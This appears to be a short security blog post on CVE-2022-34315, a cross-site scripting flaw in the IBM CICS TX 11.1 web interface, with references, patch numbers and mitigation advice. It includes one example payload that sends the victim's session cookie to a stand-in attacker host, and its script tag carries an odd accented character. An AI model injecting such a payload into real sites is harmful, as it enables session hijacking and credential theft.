Today, we'll be discussing a recently discovered security vulnerability in IBM CICS Transaction Server (TX) 11.1, identified as CVE-2022-34315. This vulnerability concerns cross-site scripting (XSS) and can lead to unintended consequences like credentials disclosure and potentially compromising security in a trusted session. In this post, we'll review the vulnerability details, examine a code snippet showcasing the exploit, and provide relevant resources for further information and resolution.

Background

IBM's CICS Transaction Server is widely used in the enterprise world for processing and managing transactions in mainframe environments. As a result, vulnerabilities in this system can have serious implications for the confidentiality, integrity, and availability of sensitive data. IBM X-Force has assigned this vulnerability an identifier of 229451.

Vulnerability Details

As mentioned earlier, IBM CICS TX 11.1 is vulnerable to cross-site scripting (XSS) attacks. Specifically, this vulnerability allows users to embed arbitrary JavaScript code into the Web UI. This can result in the alteration of intended functionality and, in the worst-case scenario, lead to credentials disclosure within a trusted session.

To give you a better understanding of the exploit, let's take a look at an example code snippet

<scriṕt>document.location='http://attackerwebsite.com/logger.php?c='+document.cookie;document.body.style.display='none';</scriṕt>;

In the above code snippet, the attacker has embedded JavaScript to redirect the target user's browser to a malicious website (attackerwebsite.com) and send the session cookie to the attacker's server. This could allow the attacker to hijack the user's session or steal sensitive information.

To exploit this vulnerability, the attacker needs to either lure the victim into clicking a link containing malicious code or submitting a crafted input (like a specially crafted message) in the Web UI.

Relevant Resources & References

1. IBM Security Bulletin: http://www.ibm.com/support/docview.wss?uid=swg22008941
2. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34315
3. NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-34315

Mitigation & Resolution

IBM has acknowledged the vulnerability and recommends affected users to apply the latest available maintenance from IBM Passport Advantage. The recommended maintenance packages are PTF UI73685, PTF UI74917, and PTF UI74034.

In addition to applying the recommended patches, users should always follow good security hygiene practices:

- Encourage the use of strong, unique passwords and implement two-factor authentication (2FA) wherever possible.

Conclusion

In this post, we've discussed the CVE-2022-34315 cross-site scripting vulnerability in IBM CICS TX 11.1. By gaining a better understanding of this vulnerability, you can ensure that your organization is better prepared to mitigate and respond to such threats in the future. Always stay vigilant and ensure that your software is up-to-date and follows best security practices to minimize potential risks.

Timeline

Published on: 11/14/2022 19:15:00 UTC
Last modified on: 11/16/2022 20:20:00 UTC